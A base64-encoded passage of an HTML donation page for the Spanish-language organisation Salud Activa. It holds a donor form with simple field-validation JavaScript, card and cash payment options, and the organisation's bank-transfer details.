CAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YnIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0ibm9tYnJlIiBjbGFzcz0icmVnMSIgc2l6ZT0iMTUiIHdpZHRoPSIxMDUiIGlkPSJub21icmUiIHR5cGU9InRleHQiPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxpbnB1dCBuYW1lPSJhcGVsbGlkbyIgY2xhc3M9InJlZzEiIHNpemU9IjE1IiB3aWR0aD0iMTA1IiBpZD0iYXBlbGxpZG8iIHR5cGU9InRleHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48aW5wdXQgbmFtZT0icHJvZmVzaW9uIiBjbGFzcz0icmVnMSIgc2l6ZT0iMTUiIHdpZHRoPSIxMDUiIGlkPSJwcm9mZXNpb24iIHR5cGU9InRleHQiPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxpbnB1dCBuYW1lPSJ0cmFiYWpvIiBjbGFzcz0icmVnMSIgc2l6ZT0iMTUiIHdpZHRoPSIxMDUiIGlkPSJ0cmFiYWpvIiB0eXBlPSJ0ZXh0Ij48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48aW5wdXQgbmFtZT0idGVsZWZvbm8iIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjEwNSIgaWQ9InRlbGVmb25vIiB0eXBlPSJ0ZXh0Ij48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48aW5wdXQgbmFtZT0iZW1haWwiIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjEwNSIgaWQ9ImVtYWlsIiB0eXBlPSJ0ZXh0Ij48L3A+PGJyIC8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHNwYW4gY2xhc3M9InRpdHVsb19mb3JtIj48Yj5ET05BQ0lPTkVTPC9iPjwvc3Bhbj48L3A+ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gPHA+PGlucHV0IG5hbWU9InRhcmpldGEiIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjEwNSIgaWQ9InRhcmpldGEiIHR5cGU9InRleHQiPjwvcD4gLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48c2VsZWN0IG5hbWU9Im1vbnRvIiBjbGFzcz0icmVnMiIgaWQ9Im1vbnRvIiBvbkNoYW5nZT0iaWYgKHRoaXMudmFsdWUgPT0gJy0xJykgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndHh0bW9udG8nKS5zdHlsZS5kaXNwbGF5PScnOyB9IGVsc2UgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndHh0bW9udG8nKS5zdHlsZS5kaXNwbGF5PSdub25lJzsgfSAiPgogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNTAiPiQgNTA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEwMCI+JCAxMDA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjE1MCI+JCAxNTA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIwMCI+JCAyMDA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ii0xIj5PdHJvLCBpbmdyZXNlIHZhbG9yPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gc29sb051bWVyb3MobXlmaWVsZCxlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJdmFyIGtleWNvZGU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJaWYgKHdpbmRvdy5ldmVudCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICBrZXljb2RlID0gd2luZG93LmV2ZW50LmtleUNvZGU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkgICAgaWYgKGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkgICAgICAgIGtleWNvZGUgPSBlLndoaWNoOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJaWYgKCgoa2V5Y29kZT40NykgJiYgKGtleWNvZGU8NTgpKSAgfHwgKGtleWNvZGU9PTgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJICAgIHJldHVybiB0cnVlOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idHh0bW9udG8iIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjIwIiBpZD0idHh0bW9udG8iIHR5cGU9InRleHQiIG1heGxlbmd0aD0iNyIgb25LZXlQcmVzcz0icmV0dXJuIHNvbG9OdW1lcm9zKHRoaXMsIGV2ZW50KTsiIHN0eWxlPSJkaXNwbGF5Om5vbmUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNjcmlwdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG11ZXN0cmFGb3JtYVBhZ28odmFsb3IpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAodmFsb3IgPT0gMikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9tZWRpb3BhZ28nKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9jdW90YXMnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9mb3JtYXBhZ29vdHJvJykuc3R5bGUuZGlzcGxheSA9ICcnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaDFfdGFyamV0YScpLmlubmVySFRNTCA9ICdGb3JtYSBkZSBQYWdvPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2gxX2ZyZWN1ZW5jaWEnKS5pbm5lckhUTUwgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9tZWRpb3BhZ28nKS5zdHlsZS5kaXNwbGF5ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwX2N1b3RhcycpLnN0eWxlLmRpc3BsYXkgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3BfZm9ybWFwYWdvb3RybycpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdoMV90YXJqZXRhJykuaW5uZXJIVE1MID0gJ1RhcmpldGE8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaDFfZnJlY3VlbmNpYScpLmlubmVySFRNTCA9ICdGcmVjdWVuY2lhPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxzZWxlY3QgbmFtZT0iZm9ybWFwYWdvIiBjbGFzcz0icmVnMiIgaWQ9ImZvcm1hcGFnbyIgb25DaGFuZ2U9Im11ZXN0cmFGb3JtYVBhZ28odGhpcy52YWx1ZSkiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsgdG9wOjVweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIxIj5UYXJqZXRhIGRlIENyw6lkaXRvPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIiPkVmZWN0aXZvICjDum5pY2EgdmV6KTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgaWQ9InBfbWVkaW9wYWdvIiBzdHlsZT0iZGlzcGxheTpub25lIj48c2VsZWN0IG5hbWU9Im1lZGlvcGFnbyIgY2xhc3M9InJlZzIiIGlkPSJtZWRpb3BhZ28iIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsgdG9wOjZweDsiPgogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTUiPk1hc3RlcmNhcmQ8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEiPlZpc2E8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjYiPkFtZXJpY2FuIEV4cHJlc3M8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3A+CiAgICAgICAgICAgICAgICAgICAgIDxwIGlkPSJwX2N1b3RhcyIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PHNlbGVjdCBuYW1lPSJjdW90YXMiIGNsYXNzPSJyZWcyIiBpZD0iY3VvdGFzIiBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7IHRvcDo3cHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEiPkQmZWFjdXRlO2JpdG8gQXV0b20mYWFjdXRlO3RpY28gKHRvZG9zIGxvcyBtZXNlcyk8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIiPsOabmljYSB2ZXo8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3A+CiAgICAgICAgICAgICAgICAgICAgPHAgaWQ9InBfZm9ybWFwYWdvb3RybyIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PHNlbGVjdCBuYW1lPSJmb3JtYXBhZ29vdHJvIiBjbGFzcz0icmVnMiIgaWQ9ImZvcm1hcGFnb290cm8iIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsgdG9wOjdweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iOTk3Ij5EZXBvc2l0byBCYW5jYXJpbzwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iOTk4Ij5QYWdvIGVuIEVmZWN0aXZvPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSI5OTkiPkRpbmVyb01haWw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPiAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJyZWNpYmlyIiBpZD0iY2hlY2siIHR5cGU9ImNoZWNrYm94IiBjaGVja2VkPSJ0cnVlIiB2YWx1ZT0iU2kiIC8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMmaWFjdXRlOywgZGVzZW8gcmVjaWJpciAKICAgICAgICAgICAgICAgIGluZm9ybWFjaSZvYWN1dGU7biBwZXJpJm9hY3V0ZTtkaWNhIGRlIFNhbHVkIEFjdGl2YSB5IAogICAgICAgICAgICAgICAgc3VzIFByb3llY3RvcyBkZSBEZXNhcnJvbGxvLiAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJsaXN0YSIgaWQ9ImNoZWNrIiB0eXBlPSJjaGVja2JveCIgY2hlY2tlZD0idHJ1ZSIgdmFsdWU9IlNpIiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpIGRlc2VvIGFwYXJlY2VyIGVuIGxhIGxpc3RhIGRlIGRvbmFjaW9uZXMgaW5kaXZpZHVhbGVzLiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBcGFyZWNlciZhYWN1dGU7IHN1IG5vbWJyZSBlbiBsYSBsaXN0YSBkZWwgcG9ydGFsIGRlIFNhbHVkIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBY3RpdmEuPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idGVybWlub3MiIGlkPSJ0ZXJtaW5vcyIgdHlwZT0iY2hlY2tib3giIHZhbHVlPSJTaSIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBY2VwdG8gbG9zIHTDqXJtaW5vcyB5IGNvbmRpY2lvbmVzLjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRlbcOhcywgY29uIHR1IGRvbmFjacOzbiwgb2J0ZW7DqXMgZGVzY3VlbnRvcyBlbiB0b2RhcyBsYXMgYWN0aXZpZGFkZXMgZGUgU2FsdWQgQWN0aXZhOiBjdXJzb3MsIGpvcm5hZGFzLCBjb25ncmVzb3MuPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJpbWFnZSIgc3JjPSJmb3JtX2ZpbGVzL0ZPUk1VTEFSSU9fMTUuanBnIiBoZWlnaHQ9IjM4IiB0eXBlPSJpbWFnZSIgd2lkdGg9IjExNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBvbkNsaWNrPSJyZXR1cm4gcmVzZXQoKTsiIHNyYz0iZm9ybV9maWxlcy9ib3Rvbi1jYW5jZWxfMTUuanBnIiBoZWlnaHQ9IjM4IiB3aWR0aD0iMTE1Ij48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC9maWVsZHNldD4KCiAgPC9mb3JtPgogIAogIDxiciAvPgo8YnIgLz4KCgoKPHRhYmxlIHdpZHRoPSI2MzMiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjAiIGFsaWduPSJsZWZ0IiBiZ2NvbG9yPSIjMjY1MjE3IiBjbGFzcz0iaDMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMTAiIGNlbGxwYWRkaW5nPSI3Ij4KICAgICAgPHRyPgogICAgICAgIDx0ZCBjbGFzcz0iaDUiPkZPUk1BUyBERSBQQUdPPC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+CiAgICAgIDxzcGFuIGNsYXNzPSJoNCI+CiAgICA8L3NwYW4+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCBiZ2NvbG9yPSIjQ0NDQ0NDIj48YnIgLz4KICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIxMCIgY2VsbHNwYWNpbmc9IjUiPgogICAgICA8dHI+CiAgICAgICAgPHRkIGJnY29sb3I9IiNlMDY3MGEiPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSJoNSI+VGFyamV0YSBkZSBDUsOJRElUTyAocG9yIGTDqWJpdG8gYXV0b23DoXRpY28pPC9zcGFuPjwvdGQ+CiAgICAgIDwvdHI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSIxODUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTAiPjxpbWcgc3JjPSJpbWFnZXMvdmlzYW1hc3RlcmFtZS5qcGciICB3aWR0aD0iMjM2IiBoZWlnaHQ9IjYwIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSI1Ij4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPlNlIGxlIGRlYml0YXLDoSBkZSBzdSBjdWVudGEsIHRvZG9zIGxvcyBtZXNlcy4gTGUgcmVjb3JkYW1vcyBxdWUgZWwgZMOpYml0byBhdXRvbcOhdGljbyBkZSBzdSB0YXJqZXRhIGRlIGNyw6lkaXRvIHVzdGVkIGxvIHB1ZWRlIGNhbmNlbGFyIGVuIGVsIG1vbWVudG8gcXVlIGxvIGRlc2VlIGNvbXVuaWPDoW5kb3NlIGNvbiBub3NvdHJvczwvc3Bhbj48L3RkPgogICAgICAgICAgICA8L3RyPgogICAgICAgICAgPC90YWJsZT4KICAgICAgICAgIDxwPgogICAgICAgICAgPC9wPjwvdGQ+CiAgICAgIDwvdHI+CiAgICA8L3RhYmxlPgogICAgICA8cD4mbmJzcDs8L3A+CiAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGluZz0iMTAiIGNlbGxzcGFjaW5nPSI1Ij4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYmdjb2xvcj0iI2UwNjcwYSI+Jm5ic3A7IDxzcGFuIGNsYXNzPSJoNSI+RUZFQ1RJVk8gcG9yIMO6bmljYSB2ZXogPC9zcGFuPjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImgzIj48ZW0+VXN0ZWQgcmVhbGl6YXLDoSBsYSBkb25hY2nDs24gcG9yIMO6bmljYSB2ZXouIFB1ZWRlIGRvbmFyIGxhcyB2ZWNlcyBxdWUgcXVpZXJhLCBjb21wbGV0YW5kbyBudWV2YW1lbnRlIGVzdGUgZm9ybXVsYXJpbyBlIGluZ3Jlc2FuZG8gZWwgbW9udG8gZGVzZWFkby48L2VtPjwvc3Bhbj48L3RkPgogICAgICAgICAgICA8L3RyPgogICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNDQ0NDQ0MiPjxzcGFuIGNsYXNzPSJoMiI+PHN0cm9uZz5Qb3IgIHRyYW5zZmVyZW5jaWEgYmFuY2FyaWEgbyBkZXDDs3NpdG88L3N0cm9uZz4gPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSI3IiBjZWxscGFkZGluZz0iNSI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSUiPjxzcGFuIGNsYXNzPSJoMyI+QVJHRU5USU5BPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9Ijg1JSI+PHNwYW4gY2xhc3M9ImgzIj48aW1nIHNyYz0iaW1hZ2VzL2dhbGljaWEuanBnIiB3aWR0aD0iMTA3IiBoZWlnaHQ9IjE5IiBhbGlnbj0ibWlkZGxlIiAvPjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMiIgY2VsbHBhZGRpbmc9IjciPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoMyI+RGF0b3MgcGFyYSBkZXDDs3NpdG9zIHkvbyB0cmFuc2ZlcmVuY2lhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIxJSI+PHNwYW4gY2xhc3M9ImgzIj5FbnRpZGFkIEJhbmNhcmlhOiA8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9Ijc5JSI+PHNwYW4gY2xhc3M9ImgzIj5CYW5jbyBHYWxpY2lhPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImgzIj5UaXR1bGFyIGRlIEN1ZW50YTo8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PHNwYW4gY2xhc3M9ImgzIj5TYWx1ZCBBY3RpdmE8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPlRpcG8gZGUgY3VlbnRhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPkN1ZW50YSBDb3JyaWVudGUgZW4gcGVzb3M8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPk7Dum1lcm8gZGUgY3VlbnRhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPjU1MTctOCAwNTktNDwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+Q0JVOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPjAwNzAwNTk3MjAwMDAwMDU1MTc4NDY8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPkNVSVQ6PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+MzAtNzA4MDE0NjMtNjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiIGNsYXNzPSJoMyI+UkVTVE8gREVMIE1VTkRPPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0iaDMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMiIgY2VsbHBhZGRpbmc9IjciPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoMyI+RGF0b3MgcGFyYSBkZXDDs3NpdG9zIHkvbyB0cmFuc2ZlcmVuY2lhOjwvc3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMSUiPjxzcGFuIGNsYXNzPSJoMyI+RW50aWRhZCBCYW5jYXJpYTogPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3OSUiPjxzcGFuIGNsYXNzPSJoMyI+V2FjaG92aWEgQmFuayBOLkEuIC0gTmV3IFlvcms8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPlN3aWZ0IEFkZHJlc3M6PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+UE5CUFVTM05OWUM8L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZD48c3BhbiBjbGFzcz0iaDMiPkZlZHdpcmU6PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxzcGFuIGNsYXNzPSJoMyI+MDI2MDA1MDkyPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPHA+PC9wPgogICAgICAgICAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjciIGNlbGxwYWRkaW5nPSI1Ij4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0NDQ0NDQyI+P